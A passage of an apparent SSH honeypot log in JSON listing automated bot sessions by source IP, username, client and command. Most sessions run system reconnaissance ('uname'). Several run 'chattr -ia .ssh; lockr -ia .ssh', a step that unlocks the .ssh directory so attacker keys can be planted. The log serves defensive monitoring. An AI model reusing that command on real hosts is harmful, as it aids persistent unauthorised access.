  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f588832-e0ff-4c3b-81e9-ac8879a32133",
  "name": "tranquil-clever-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37998,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 468,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:34:11.518103+00:00",
  "ended_at": "2026-08-26T13:34:14.340356+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "227a157c-0e69-4850-9f8c-7bed3685cbb8",
  "name": "quiet-orderly-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52056,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:05.815230+00:00",
  "ended_at": "2026-08-26T13:34:06.918161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83fd232f-08ac-4dfc-a0a6-adfd959ef8fb",
  "name": "crimson-gleaming-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55818,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:55.817882+00:00",
  "ended_at": "2026-08-26T13:34:01.655254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e0aa234-fb60-4ca1-b9e6-6be606cee2e8",
  "name": "smoky-glassy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:49.961136+00:00",
  "ended_at": "2026-08-26T13:33:54.341728+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1b73a08f-f08b-48cf-b0da-6eefa72aca42",
  "name": "early-vigilant-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43042,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:35.888971+00:00",
  "ended_at": "2026-08-26T13:33:41.009682+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "840a735b-7d57-4a78-8dc9-226fec758949",
  "name": "velvet-hollow-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35070,
  "username": "sdadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:33:28.700769+00:00",
  "ended_at": "2026-08-26T13:33:33.428595+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f952c270-bf36-494a-a044-2ac0b7f13dcf",
  "name": "brisk-bronzed-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35976,
  "username": "sdadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 505,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:21.676133+00:00",
  "ended_at": "2026-08-26T13:33:33.434665+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "410d5a3a-5c91-48c4-ad2c-fe463dc97fc3",
  "name": "flinty-bashful-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43260,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:19.433562+00:00",
  "ended_at": "2026-08-26T13:33:23.264096+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b4b90a5-935e-43c9-a379-8786a933038b",
  "name": "rapid-graceful-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.173.43.34",
  "src_port": 10000,
  "username": "cmsadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:32:59.279844+00:00",
  "ended_at": "2026-08-26T13:33:00.364442+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "9c86f6bc-2da6-4e60-b91f-0da181a620b9",
  "name": "marine-feathered-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33534,
  "username": "rock",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:52.176008+00:00",
  "ended_at": "2026-08-26T13:32:55.989023+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "433b93e2-c095-4d86-be2b-096e607cb0ca",
  "name": "tranquil-steady-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:37.642060+00:00",
  "ended_at": "2026-08-26T13:32:41.103782+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dad61d67-132c-4dd7-94a6-fa7dfb460dee",
  "name": "lucid-prairie-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.173.43.34",
  "src_port": 10002,
  "username": "cmsadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:32:34.718666+00:00",
  "ended_at": "2026-08-26T13:32:36.843761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8db8f78e-df54-4c15-b16a-cd00472bb468",
  "name": "flinty-ivory-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.173.43.34",
  "src_port": 10001,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:32:31.727081+00:00",
  "ended_at": "2026-08-26T13:32:33.095261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ca91df6-5b60-472c-bd94-3649ddd7b3f0",
  "name": "sturdy-gloomy-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41444,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 493,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:31.716657+00:00",
  "ended_at": "2026-08-26T13:32:37.249634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f3d18a4-fbf1-4448-907b-63eff591de40",
  "name": "tranquil-salty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59292,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:24.221700+00:00",
  "ended_at": "2026-08-26T13:32:29.585623+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "37809a6e-45ad-4baa-9baf-ddde6df2d9ab",
  "name": "dutiful-wiry-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35992,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:00.985642+00:00",
  "ended_at": "2026-08-26T13:32:07.531556+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3248d717-3fd0-465f-8193-0b9b2257996f",
  "name": "ruddy-blunt-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.233.213.67",
  "src_port": 38870,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 726,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:31:50.657780+00:00",
  "ended_at": "2026-08-26T13:31:51.456511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2040
 },
 {
  "id": "179185a1-81ca-4f69-be12-daf6a373331a",
  "name": "wooded-verdant-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42902,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 363,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:31:47.004629+00:00",
  "ended_at": "2026-08-26T13:31:53.051806+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e449071-5714-41e6-897b-6909492a920f",
  "name": "wiry-mottled-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51100,
  "username": "valentina",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1200,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:31:42.417745+00:00",
  "ended_at": "2026-08-26T13:31:44.025795+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "815bc04f-88f8-4ea9-8534-4df47bca653d",
  "name": "rugged-hardy-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45750,
  "username": "almalinux",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:40.157986+00:00",
  "ended_at": "2026-08-26T13:31:49.681685+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23ecec89-aa24-405a-b181-4110860a4405",
  "name": "gloomy-sterling-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36418,
  "username": "almalinux",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:31:34.635657+00:00",
  "ended_at": "2026-08-26T13:31:49.682872+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "61b05b7b-f802-4cb9-a661-56167bdb35aa",
  "name": "idle-subtle-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41526,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 519,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:31:33.269991+00:00",
  "ended_at": "2026-08-26T13:31:37.303421+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e810555-52f1-4c20-b63a-1ea7b8d47573",
  "name": "emerald-pristine-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.233.213.67",
  "src_port": 41408,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:24.786340+00:00",
  "ended_at": "2026-08-26T13:31:25.695369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bfa4ae3-8567-4d7f-a8f9-e9778e9a0829",
  "name": "gnarled-graceful-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.233.213.67",
  "src_port": 38876,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:22.595633+00:00",
  "ended_at": "2026-08-26T13:31:24.271744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c22ca6a1-cfbb-4ad8-8dbb-28b19328164c",
  "name": "sooty-dapper-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40593,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:15.565894+00:00",
  "ended_at": "2026-08-26T13:31:17.251579+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fcf3291b-e78e-445e-94b2-3a8e22f9424d",
  "name": "austere-thawing-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51116,
  "username": "valentina",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:14.699141+00:00",
  "ended_at": "2026-08-26T13:31:15.598681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f75eb0e-b77f-4e84-ab19-73ef149b645f",
  "name": "rapid-languid-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:10.938070+00:00",
  "ended_at": "2026-08-26T13:31:12.963000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03dc0126-d6b3-433e-be1b-ea68a512d37e",
  "name": "lonesome-rapid-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:31:00.549931+00:00",
  "ended_at": "2026-08-26T13:31:06.576525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c238d805-0c45-4669-bb23-342741837bc4",
  "name": "jagged-genial-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 633,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:55.727875+00:00",
  "ended_at": "2026-08-26T13:30:59.487650+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f545db44-921d-45d3-b390-cddaa9aa8d8e",
  "name": "wooded-humble-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41638,
  "username": "ranga",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:30:48.594697+00:00",
  "ended_at": "2026-08-26T13:30:53.207860+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bee14b2-75e6-4fb1-b973-6176e1c0e1d8",
  "name": "dutiful-breezy-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 60428,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:30:45.564285+00:00",
  "ended_at": "2026-08-26T13:30:47.627182+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2dc3831-3f8c-439b-b553-4eda60d513d7",
  "name": "orderly-burly-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32926,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:43.472830+00:00",
  "ended_at": "2026-08-26T13:30:47.094344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "153a9b84-cef2-4e65-96db-334c453c0399",
  "name": "wooded-lonesome-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44452,
  "username": "ranga",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:42.508748+00:00",
  "ended_at": "2026-08-26T13:30:53.212717+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "8824bff8-4f9b-46f9-8acd-e579466454a5",
  "name": "dusky-creaky-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35346,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:16.477911+00:00",
  "ended_at": "2026-08-26T13:30:21.988035+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cdf0c5c0-d027-404d-84f5-211cf418a0e0",
  "name": "whispering-downy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46754,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 691,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:30:07.590520+00:00",
  "ended_at": "2026-08-26T13:30:11.904841+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e33fb34c-e844-46fc-b3db-d3f9497a6bd9",
  "name": "calm-earnest-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59482,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 651,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:52.014376+00:00",
  "ended_at": "2026-08-26T13:29:55.117603+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e46ca12-3dfe-4deb-95e8-79532044c5f8",
  "name": "vaulted-fearless-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36372,
  "username": "manoj",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:29:46.441318+00:00",
  "ended_at": "2026-08-26T13:29:55.548418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d72fe3d-a691-4779-950e-a6099d198d31",
  "name": "tranquil-painted-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54342,
  "username": "manoj",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 554,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:41.045477+00:00",
  "ended_at": "2026-08-26T13:29:55.549727+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "f95928bb-e1a1-4806-8285-d1ae3d7c879b",
  "name": "restless-crisp-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50448,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:38.649274+00:00",
  "ended_at": "2026-08-26T13:29:44.080901+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe121eba-714e-4a34-8a1d-f65aa914ac2b",
  "name": "blithe-sleepy-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39938,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:16.915689+00:00",
  "ended_at": "2026-08-26T13:29:21.667151+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a710583-82b8-4888-8229-9a6ad110cb37",
  "name": "inland-murky-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:29:02.093839+00:00",
  "ended_at": "2026-08-26T13:29:07.248402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c69b7de-2ce9-4d43-b4e8-128ee6683023",
  "name": "prickly-spirited-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46482,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:52.588903+00:00",
  "ended_at": "2026-08-26T13:28:56.894368+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f82ac3fc-206a-42a7-9746-bad253c1b16e",
  "name": "murky-fierce-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:38.788014+00:00",
  "ended_at": "2026-08-26T13:28:41.734993+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "95155622-c7c1-4e5c-b72b-63fc2e9c2971",
  "name": "forlorn-hardy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 825,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:34.240756+00:00",
  "ended_at": "2026-08-26T13:28:39.693621+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18e61d27-ebe7-4c71-8696-b24a854aad5b",
  "name": "gallant-faded-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50902,
  "username": "zzl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1207,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:28:25.500665+00:00",
  "ended_at": "2026-08-26T13:28:26.300194+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "9c073c60-b8b0-4db8-80d3-cddc0c3e6a49",
  "name": "ruddy-serene-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60474,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 664,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:19.439583+00:00",
  "ended_at": "2026-08-26T13:28:23.596497+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "150f70ee-07a2-4f5b-a18a-86518bc45cca",
  "name": "jolly-pleasant-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52104,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 659,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:28:05.686385+00:00",
  "ended_at": "2026-08-26T13:28:09.742321+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3cd819fd-7e65-4531-b5da-b261e0a40c50",
  "name": "marbled-daring-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50918,
  "username": "zzl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:28:01.707164+00:00",
  "ended_at": "2026-08-26T13:28:03.421150+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92367b0b-15ec-44bf-bda2-aa08b815dd19",
  "name": "ivory-spirited-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50910,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:27:56.908909+00:00",
  "ended_at": "2026-08-26T13:27:59.908010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d87e8d53-1936-43a5-932c-b504958a2f76",
  "name": "rapid-sturdy-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33940,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
